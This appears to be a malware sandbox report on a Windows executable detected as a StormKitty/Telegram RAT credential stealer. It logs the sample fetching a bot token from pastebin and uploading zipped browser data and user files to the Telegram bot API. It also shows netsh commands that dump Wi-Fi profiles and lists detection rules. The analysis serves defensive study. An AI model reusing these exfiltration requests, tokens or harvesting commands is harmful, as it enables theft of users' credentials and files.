2024-07-31 05:07:16 UTC	16355	OUT	Data Raw: ac 60 21 8d 66 2f 52 c7 50 17 2a ac cd 09 a7 f6 55 ce 60 9f d4 87 a0 e3 86 27 37 04 80 0d ab f5 a9 b4 9e b7 46 de 92 c0 74 e2 19 23 90 ae bc e3 a8 a1 64 1c 5a d5 8c d6 19 57 e5 bb 8a a0 3b 11 d7 96 b6 85 e7 5b 46 44 49 1a 91 5c 28 c0 57 c3 55 ed 43 18 90 d3 13 31 11 d3 8f 65 94 40 2b 64 78 1e 62 f8 91 b7 44 84 23 25 37 88 64 1f 6f 70 30 f3 b8 2d 8e e7 f8 52 3a ce 4d ac 2a 6a 02 0b 98 44 e1 28 c0 50 dc a2 76 2e 5d 2d 84 5b cf 5a d5 21 2c 5a cf 73 22 d9 73 97 24 bc 99 71 4b b0 9b 09 b7 30 8a bd 54 05 64 19 8b 43 f9 da 89 8c a1 9c cb fa 01 44 c2 f2 8a 56 0b d9 d2 3c 5b ad 3f 4c ab 29 09 5e 77 e8 da 3e a3 c5 92 ed ba b2 98 a1 d0 0a 01 f8 b5 3c 27 52 71 39 48 46 09 57 bc 30 b9 1e 4a 23 87 80 32 c6 fb e6 d2 e5 b6 0a e7 bb 76 d3 9b f3 8d f7 23 20 71 e9 aa 14 80 Data Ascii: `!f/RPU`'7Ft#dZW;[FDI\(WUC1e@+dxbD#%7dop0-R:MjD(Pv.]-[Z!,Zs"s$qK0TdCDV<[?L)^w><'Rq9HFW0J#2v# q
2024-07-31 05:07:16 UTC	16355	OUT	Data Raw: 59 eb 3e c3 8e 16 7f b6 de da 55 6f d3 db 1f 68 e3 7c 9e 50 8e 16 31 f5 15 11 f8 d6 ef ab e2 03 aa 30 d6 6b fd 97 7f e6 13 08 d5 53 21 7e 24 d8 93 cf 08 73 d2 fe 4f 16 83 89 9f 74 40 9c 18 52 9c fc d2 47 9c c7 d8 1c 92 08 eb a4 7d 22 97 02 ca 9a 83 02 6e 42 a5 65 4e bd 51 11 08 9d ae ac 25 de 59 10 81 c3 e2 98 62 3e f0 6c d8 0b 5b cf 51 45 98 83 a0 6e b3 1f 76 32 b3 8e 22 fb eb a7 ab d9 79 82 cf 07 11 b9 17 07 d5 c4 8b 6e db b2 0b b4 98 f8 80 46 ee 92 06 3b d1 b9 91 92 e3 fc d3 e4 13 9c a4 bf 51 60 0a 92 c8 a4 95 2c 2c 80 08 40 b4 73 40 c0 08 44 03 a5 0d 66 65 52 83 0a 53 e9 ca 45 b5 f0 09 0c 24 d2 bb 81 49 cb 30 f0 54 5f 2d 0f c7 a4 d4 4a 00 32 2a bc 89 c3 b0 ab 82 12 17 69 b3 ec 20 ea 28 5f 01 88 52 73 ab 16 bf b3 1f 8c 78 83 f2 0a 60 b2 6c af a4 62 56 Data Ascii: Y>Uoh\|P10kS!~$sOt@RG}"nBeNQ%Yb>l[QEnv2"ynF;Q`,,@s@DfeRSE$I0T_-J2*i (_Rsx`lbV
2024-07-31 05:07:16 UTC	16355	OUT	Data Raw: 49 48 b7 84 11 67 9e 6f dc 09 bc 16 6b b4 07 73 5c 2f 14 de 69 b4 24 0f 35 9c 5d 1b 0b a4 a2 fb 60 6d f5 49 43 a2 83 ff 9a fc 2f 20 e8 01 20 bd bb 5d a4 48 e3 22 ab 12 26 3c 51 10 78 c5 f2 8e f4 f7 9f 77 2e 0a 55 c7 d4 e9 b8 eb f4 8c e4 0e 3c 36 b4 9b 12 a5 3e 6b 69 6b aa f8 b1 d8 de b1 2a d3 e1 1e 4a 1b 96 30 da bf 76 65 7b 5d 7d 3e 38 58 46 f5 c7 46 d5 aa 8b bb f6 e4 ad 57 71 ad fa d7 19 df 34 f6 0e 8d 27 ae 9f bd 47 6d c0 89 7c 11 38 2c e5 f1 f3 0c 7e 77 4b c2 79 f2 f8 0e 5e b1 3b ef ed 37 59 c4 97 5b 6f 37 7f 13 80 8c 32 02 30 79 a7 c8 4c 2d 7a b9 6c f0 bd cc 97 2e 6f 9f e2 b7 c7 fb 0d e1 07 c3 39 49 8a 3b ed 8f 09 00 9f 87 ed 6f e7 9b 0e 5d c4 7b c2 c1 9f 34 43 69 ca 12 4c b5 91 38 d2 06 c1 04 40 b6 9f af dc 82 00 60 be e1 f7 f1 3e 7b 83 8e 6f 0f e5 Data Ascii: IHgoks\/i$5]`mIC/ ]H"&<Qxw.U<6>kik*J0ve{]}>8XFFWq4'Gm\|8,~wKy^;7Y[o720yL-zl.o9I;o]{4CiL8@`>{o
2024-07-31 05:07:16 UTC	16355	OUT	Data Raw: b1 e9 64 25 95 6d eb 95 4d bf 10 68 6a b3 09 ab a5 f2 bc 3b ed 93 25 99 2c 32 77 27 b6 7a aa 43 c1 9b ba 31 8c 2b c0 24 89 4b 60 f6 19 ec 75 41 90 01 7e 13 1e 93 7b fa 8f be b1 fb 3e 76 c6 ae d6 01 76 eb ca ec 30 01 f8 ae 13 a0 aa 51 12 b5 73 4f 6d 9f 45 48 ac 9a ea 90 06 b9 a3 be 51 f0 c1 97 58 94 8c af 72 9a e6 28 d7 dd e4 f8 59 80 18 0b b4 de 41 16 4b 2f e9 1b 1e f2 41 9e 62 d7 34 2a 21 c4 3a 91 9b 8e 18 62 f2 6c bc 11 d0 cc de 0b 4e 55 b3 24 cf 1b 92 1e 8a 5a e7 0f a7 74 57 73 cc 7c 15 f6 b0 d0 ef e1 e1 66 5a 37 7c bd 20 c1 4d 9f 00 58 f2 1d ba 23 67 8c 40 d0 bd b5 ab c7 86 5f cb 39 14 d3 22 00 8f 26 93 9d 0b df 0e b1 05 95 12 00 0b b4 aa 74 0f 83 56 ec 53 bc 5a 34 1e 56 cf 2f db ed f1 82 bb 2b 20 e2 a4 7d 6c 1c 93 6d f4 86 f6 d8 18 78 95 98 52 a5 31 Data Ascii: d%mMhj;%,2w'zC1+$K`uA~{>vv0QsOmEHQXr(YAK/Ab4*!:blNU$ZtWs\|fZ7\| MX#g@_9"&tVSZ4V/+ }lmxR1
2024-07-31 05:07:17 UTC	904	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 31 Jul 2024 05:07:17 GMT Content-Type: application/json Content-Length: 516 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":109797,"from":{"id":6082381502,"is_bot":true,"first_name":"DiamotrixBotss","username":"DiamotrixBotss_bot"},"chat":{"id":5795480469,"first_name":"Diamotrix","username":"Diamotrix","type":"private"},"date":1722402437,"document":{"file_name":"C_UsersuserAppDataLocalae40544d7874da0b6d483ec81ec2d631user@89.zip","mime_type":"application/zip","file_id":"BQACAgQAAxkDAAEBrOVmqcaF2pac2k9ymOg-5u7zfAnlpgACbBYAAlPRUVEd0IGxF7EHoTUE","file_unique_id":"AgADbBYAAlPRUVE","file_size":153831}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49735	104.20.3.235	443	7132	C:\Users\user\Desktop\viVOqZjAT0.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-31 05:07:17 UTC	74	OUT	GET /raw/7B75u64B HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-31 05:07:18 UTC	391	IN	HTTP/1.1 200 OK Date: Wed, 31 Jul 2024 05:07:18 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Wed, 31 Jul 2024 05:07:18 GMT Server: cloudflare CF-RAY: 8abb1065db4142a7-EWR
2024-07-31 05:07:18 UTC	52	IN	Data Raw: 32 65 0d 0a 35 33 39 30 37 35 37 37 38 38 3a 41 41 46 56 36 35 59 64 75 6e 39 4f 50 34 30 67 37 38 58 78 49 35 65 44 62 56 34 32 4b 71 48 59 35 6d 55 0d 0a Data Ascii: 2e5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU
2024-07-31 05:07:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49738	149.154.167.220	443	7132	C:\Users\user\Desktop\viVOqZjAT0.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-31 05:07:19 UTC	254	OUT	POST /bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283662956 HTTP/1.1 Content-Type: multipart/form-data; boundary="461e744f-41a2-4c05-9fb8-af447dc13f3c" Host: api.telegram.org Content-Length: 154180 Expect: 100-continue
2024-07-31 05:07:19 UTC	25	IN	HTTP/1.1 100 Continue
2024-07-31 05:07:19 UTC	40	OUT	Data Raw: 2d 2d 34 36 31 65 37 34 34 66 2d 34 31 61 32 2d 34 63 30 35 2d 39 66 62 38 2d 61 66 34 34 37 64 63 31 33 66 33 63 0d 0a Data Ascii: --461e744f-41a2-4c05-9fb8-af447dc13f3c
2024-07-31 05:07:19 UTC	265	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 61 65 34 30 35 34 34 64 37 38 37 34 64 61 30 62 36 64 34 38 33 65 63 38 31 65 63 32 64 36 33 31 5c 6a 6f 6e 65 73 40 38 39 39 35 35 32 5f 65 6e 2d 43 48 2e 7a 69 70 22 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 43 25 33 41 25 35 43 55 73 65 72 73 25 35 43 6a 6f 6e 65 73 25 35 43 41 70 70 44 61 74 61 25 35 43 4c 6f 63 61 6c 25 35 43 61 65 34 30 35 34 34 64 37 38 37 34 64 61 30 62 36 64 34 38 33 65 63 38 31 65 63 32 64 36 33 31 25 35 43 6a 6f 6e 65 73 25 34 30 38 39 39 35 35 32 5f 65 6e 2d Data Ascii: Content-Disposition: form-data; name=document; filename="C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH.zip"; filename*=utf-8''C%3A%5CUsers%5Cuser%5CAppData%5CLocal%5Cae40544d7874da0b6d483ec81ec2d631%5Cuser%40899552_en-
2024-07-31 05:07:19 UTC	16355	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 90 2c ff 58 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 42 72 6f 77 73 65 72 73 5c 45 64 67 65 5c 50 4b 03 04 14 00 00 00 08 00 e2 08 ff 58 51 33 92 06 4a 00 00 00 69 00 00 00 1e 00 00 00 42 72 6f 77 73 65 72 73 5c 46 69 72 65 66 6f 78 5c 42 6f 6f 6b 6d 61 72 6b 73 2e 74 78 74 53 56 56 56 70 4f 2d 51 f0 48 cd 29 50 50 56 56 e6 02 62 05 e7 d2 e2 92 fc dc cc aa 54 05 b7 cc a2 d4 b4 fc 0a b8 0c 48 a9 67 5e 59 7e 4e 59 6a 0a 5c d0 31 29 bf b4 44 21 b4 18 59 55 49 66 5e ba 42 70 49 62 51 09 54 21 00 50 4b 03 04 14 00 00 00 08 00 e2 08 ff 58 63 c2 65 e7 53 00 00 00 5e 00 00 00 1c 00 00 00 42 72 6f 77 73 65 72 73 5c 46 69 72 65 66 6f 78 5c 48 69 73 74 6f 72 79 2e 74 78 74 53 56 56 56 70 cb 2c 4a 4d cb af 50 08 28 ca 2c 4b 4c ae Data Ascii: PK,XBrowsers\Edge\PKXQ3JiBrowsers\Firefox\Bookmarks.txtSVVVpO-QH)PPVVbTHg^Y~NYj\1)D!YUIf^BpIbQT!PKXceS^Browsers\Firefox\History.txtSVVVp,JMP(,KL
2024-07-31 05:07:19 UTC	16355	OUT	Data Raw: 98 ba 4a cb df da 4a 7b e1 ea 07 5f 3b ad fa fd fd 03 50 4b 03 04 14 00 00 00 08 00 51 40 44 57 64 2f 29 68 83 02 00 00 02 04 00 00 3e 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 65 73 6b 74 6f 70 5c 4f 4e 42 51 43 4c 59 53 50 55 5c 4f 4e 42 51 43 4c 59 53 50 55 2e 64 6f 63 78 15 53 49 6e 00 31 08 bb 57 ea a3 12 b2 07 b2 6f f0 ff 87 74 7a 43 08 19 db 98 5a 74 07 e4 d9 b6 36 aa 43 f4 5c ee 0b cd 96 5e 30 89 7f 10 de 2c 4f 0a 88 de 81 cd 6b 96 20 35 75 b9 cf 13 c8 e7 90 b6 73 8e 8d 7a 46 85 8a 55 89 6d eb ca ba c6 37 87 8f 08 1e 42 8c a9 3e 3a a3 d0 a6 15 e1 84 3e 6f 51 3e 32 74 5d 45 42 2d f7 ea 97 cd 4e ac 47 9b 58 9c 5f 3b ba 55 7c b2 6a d5 97 83 75 64 87 ea 72 34 75 9f 65 e7 67 34 f9 91 4c ad 5e 2d 91 Data Ascii: JJ{_;PKQ@DWd/)h>Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\ONBQCLYSPU.docxSIn1WotzCZt6C\^0,Ok 5uszFUm7B>:>oQ>2t]EB-NGX_;U\|judr4ueg4L^-
2024-07-31 05:07:19 UTC	16355	OUT	Data Raw: 51 40 44 57 59 f1 45 0f 84 02 00 00 02 04 00 00 34 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 55 4d 4d 42 44 4e 45 51 42 4e 2e 6a 70 67 0d 93 49 92 45 21 08 04 f7 1d f1 0f e5 c8 73 42 45 05 f5 fe 07 69 83 15 6c aa a0 92 55 8a b6 e8 ba 46 0e 45 23 7c e7 1a 9d b6 94 1e d3 09 63 2a 1c 84 7e 6f 9d 54 0e c1 15 27 ca 77 d7 a6 2b d7 84 bd b1 74 0d 75 cb b0 67 28 49 e1 b4 18 26 92 2b 4c bb b5 78 fd 9a 05 88 08 a6 f9 38 3b e1 15 e1 ba d5 b9 62 67 65 9c 97 bb 4c 50 7e 37 0f 3b ac 5a f5 75 ae 40 91 d8 83 4b 29 98 13 e3 53 5c e9 5c 15 1d ac 9e c0 36 6a db 54 09 4d d3 82 4f ac bf 19 46 ba fc 14 b8 41 76 1e 21 70 d6 8c aa f2 56 0d d4 54 36 ea d0 a7 c6 08 b2 69 b8 93 cc e0 5b c7 34 fa 3b fe Data Ascii: Q@DWYE4Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN.jpgIE!sBEilUFE#\|c*~oT'w+tug(I&+Lx8;bgeLP~7;Zu@K)S\\6jTMOFAv!pVT6i[4;
2024-07-31 05:07:19 UTC	16355	OUT	Data Raw: 2e d7 8d f6 b9 50 98 3a 0c 15 7b b3 a6 36 2a 69 5b c8 f6 54 d5 f5 0e e9 ac 0e fc 15 1e 8f 8b 6c ae 33 bc 60 f2 0c c6 d8 7c 43 9e d1 3a 00 4d fa 95 f9 a9 6c a0 30 9c cb 31 16 af ce bb 6e ef d5 b2 b9 b8 f7 09 17 e3 fd dc 70 d4 77 df 13 93 3e 15 f4 44 f6 6b 36 6d 9a 73 bd 56 4f b6 58 10 19 a1 ee 9c bb 2b 75 d2 66 0e 68 23 81 c2 46 39 05 59 ef 7a 4f b4 da bb 79 d5 58 0a db fc 3e 10 83 f1 32 94 8e f8 b6 29 06 4f 01 bb 03 bb cb 18 bc 5a ed 23 43 82 45 1f c7 77 fd d7 4b 92 d6 02 40 dc 5d c7 51 cb 68 a8 77 9d 1a e9 5a fb 32 7f df be 25 76 4c d9 88 6d b8 61 fb ba a3 b6 ae 7c d4 0d c5 06 3c 0f e1 33 1d e9 3d 3e 17 18 89 7b f4 6c c1 8b b6 74 52 1c 56 63 8f 0a b5 51 16 55 18 e5 7c d9 5f 5f 38 4a 90 42 7e a5 f9 dc 99 b0 62 aa 10 db 85 58 ff f1 78 45 f9 61 ab d2 70 b7 Data Ascii: .P:{6*i[Tl3`\|C:Ml01npw>Dk6msVOX+ufh#F9YzOyX>2)OZ#CEwK@]QhwZ2%vLma\|<3=>{ltRVcQU\|__8JB~bXxEap
2024-07-31 05:07:19 UTC	16355	OUT	Data Raw: ac 60 21 8d 66 2f 52 c7 50 17 2a ac cd 09 a7 f6 55 ce 60 9f d4 87 a0 e3 86 27 37 04 80 0d ab f5 a9 b4 9e b7 46 de 92 c0 74 e2 19 23 90 ae bc e3 a8 a1 64 1c 5a d5 8c d6 19 57 e5 bb 8a a0 3b 11 d7 96 b6 85 e7 5b 46 44 49 1a 91 5c 28 c0 57 c3 55 ed 43 18 90 d3 13 31 11 d3 8f 65 94 40 2b 64 78 1e 62 f8 91 b7 44 84 23 25 37 88 64 1f 6f 70 30 f3 b8 2d 8e e7 f8 52 3a ce 4d ac 2a 6a 02 0b 98 44 e1 28 c0 50 dc a2 76 2e 5d 2d 84 5b cf 5a d5 21 2c 5a cf 73 22 d9 73 97 24 bc 99 71 4b b0 9b 09 b7 30 8a bd 54 05 64 19 8b 43 f9 da 89 8c a1 9c cb fa 01 44 c2 f2 8a 56 0b d9 d2 3c 5b ad 3f 4c ab 29 09 5e 77 e8 da 3e a3 c5 92 ed ba b2 98 a1 d0 0a 01 f8 b5 3c 27 52 71 39 48 46 09 57 bc 30 b9 1e 4a 23 87 80 32 c6 fb e6 d2 e5 b6 0a e7 bb 76 d3 9b f3 8d f7 23 20 71 e9 aa 14 80 Data Ascii: `!f/RPU`'7Ft#dZW;[FDI\(WUC1e@+dxbD#%7dop0-R:MjD(Pv.]-[Z!,Zs"s$qK0TdCDV<[?L)^w><'Rq9HFW0J#2v# q
2024-07-31 05:07:19 UTC	16355	OUT	Data Raw: 59 eb 3e c3 8e 16 7f b6 de da 55 6f d3 db 1f 68 e3 7c 9e 50 8e 16 31 f5 15 11 f8 d6 ef ab e2 03 aa 30 d6 6b fd 97 7f e6 13 08 d5 53 21 7e 24 d8 93 cf 08 73 d2 fe 4f 16 83 89 9f 74 40 9c 18 52 9c fc d2 47 9c c7 d8 1c 92 08 eb a4 7d 22 97 02 ca 9a 83 02 6e 42 a5 65 4e bd 51 11 08 9d ae ac 25 de 59 10 81 c3 e2 98 62 3e f0 6c d8 0b 5b cf 51 45 98 83 a0 6e b3 1f 76 32 b3 8e 22 fb eb a7 ab d9 79 82 cf 07 11 b9 17 07 d5 c4 8b 6e db b2 0b b4 98 f8 80 46 ee 92 06 3b d1 b9 91 92 e3 fc d3 e4 13 9c a4 bf 51 60 0a 92 c8 a4 95 2c 2c 80 08 40 b4 73 40 c0 08 44 03 a5 0d 66 65 52 83 0a 53 e9 ca 45 b5 f0 09 0c 24 d2 bb 81 49 cb 30 f0 54 5f 2d 0f c7 a4 d4 4a 00 32 2a bc 89 c3 b0 ab 82 12 17 69 b3 ec 20 ea 28 5f 01 88 52 73 ab 16 bf b3 1f 8c 78 83 f2 0a 60 b2 6c af a4 62 56 Data Ascii: Y>Uoh\|P10kS!~$sOt@RG}"nBeNQ%Yb>l[QEnv2"ynF;Q`,,@s@DfeRSE$I0T_-J2*i (_Rsx`lbV
2024-07-31 05:07:19 UTC	16355	OUT	Data Raw: 49 48 b7 84 11 67 9e 6f dc 09 bc 16 6b b4 07 73 5c 2f 14 de 69 b4 24 0f 35 9c 5d 1b 0b a4 a2 fb 60 6d f5 49 43 a2 83 ff 9a fc 2f 20 e8 01 20 bd bb 5d a4 48 e3 22 ab 12 26 3c 51 10 78 c5 f2 8e f4 f7 9f 77 2e 0a 55 c7 d4 e9 b8 eb f4 8c e4 0e 3c 36 b4 9b 12 a5 3e 6b 69 6b aa f8 b1 d8 de b1 2a d3 e1 1e 4a 1b 96 30 da bf 76 65 7b 5d 7d 3e 38 58 46 f5 c7 46 d5 aa 8b bb f6 e4 ad 57 71 ad fa d7 19 df 34 f6 0e 8d 27 ae 9f bd 47 6d c0 89 7c 11 38 2c e5 f1 f3 0c 7e 77 4b c2 79 f2 f8 0e 5e b1 3b ef ed 37 59 c4 97 5b 6f 37 7f 13 80 8c 32 02 30 79 a7 c8 4c 2d 7a b9 6c f0 bd cc 97 2e 6f 9f e2 b7 c7 fb 0d e1 07 c3 39 49 8a 3b ed 8f 09 00 9f 87 ed 6f e7 9b 0e 5d c4 7b c2 c1 9f 34 43 69 ca 12 4c b5 91 38 d2 06 c1 04 40 b6 9f af dc 82 00 60 be e1 f7 f1 3e 7b 83 8e 6f 0f e5 Data Ascii: IHgoks\/i$5]`mIC/ ]H"&<Qxw.U<6>kik*J0ve{]}>8XFFWq4'Gm\|8,~wKy^;7Y[o720yL-zl.o9I;o]{4CiL8@`>{o
2024-07-31 05:07:19 UTC	16355	OUT	Data Raw: b1 e9 64 25 95 6d eb 95 4d bf 10 68 6a b3 09 ab a5 f2 bc 3b ed 93 25 99 2c 32 77 27 b6 7a aa 43 c1 9b ba 31 8c 2b c0 24 89 4b 60 f6 19 ec 75 41 90 01 7e 13 1e 93 7b fa 8f be b1 fb 3e 76 c6 ae d6 01 76 eb ca ec 30 01 f8 ae 13 a0 aa 51 12 b5 73 4f 6d 9f 45 48 ac 9a ea 90 06 b9 a3 be 51 f0 c1 97 58 94 8c af 72 9a e6 28 d7 dd e4 f8 59 80 18 0b b4 de 41 16 4b 2f e9 1b 1e f2 41 9e 62 d7 34 2a 21 c4 3a 91 9b 8e 18 62 f2 6c bc 11 d0 cc de 0b 4e 55 b3 24 cf 1b 92 1e 8a 5a e7 0f a7 74 57 73 cc 7c 15 f6 b0 d0 ef e1 e1 66 5a 37 7c bd 20 c1 4d 9f 00 58 f2 1d ba 23 67 8c 40 d0 bd b5 ab c7 86 5f cb 39 14 d3 22 00 8f 26 93 9d 0b df 0e b1 05 95 12 00 0b b4 aa 74 0f 83 56 ec 53 bc 5a 34 1e 56 cf 2f db ed f1 82 bb 2b 20 e2 a4 7d 6c 1c 93 6d f4 86 f6 d8 18 78 95 98 52 a5 31 Data Ascii: d%mMhj;%,2w'zC1+$K`uA~{>vv0QsOmEHQXr(YAK/Ab4*!:blNU$ZtWs\|fZ7\| MX#g@_9"&tVSZ4V/+ }lmxR1
2024-07-31 05:07:19 UTC	405	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Wed, 31 Jul 2024 05:07:19 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":401,"description":"Unauthorized"}

Target ID:	0
Start time:	01:06:58
Start date:	31/07/2024
Path:	C:\Users\user\Desktop\viVOqZjAT0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\viVOqZjAT0.exe"
Imagebase:	0x790000
File size:	179'200 bytes
MD5 hash:	19F436930646F3E8F283FA71F2A4CBCB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	01:07:09
Start date:	31/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:07:09
Start date:	31/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:07:09
Start date:	31/07/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x630000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:07:09
Start date:	31/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show profile
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:07:09
Start date:	31/07/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr All
Imagebase:	0xb50000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:07:09
Start date:	31/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:07:09
Start date:	31/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:07:09
Start date:	31/07/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x2c0000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:07:09
Start date:	31/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.4%
Total number of Nodes:	87
Total number of Limit Nodes:	0

Executed Functions

Function 05710B20 Relevance: 1.6, APIs: 1, Instructions: 65
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05710B6C

Memory Dump Source

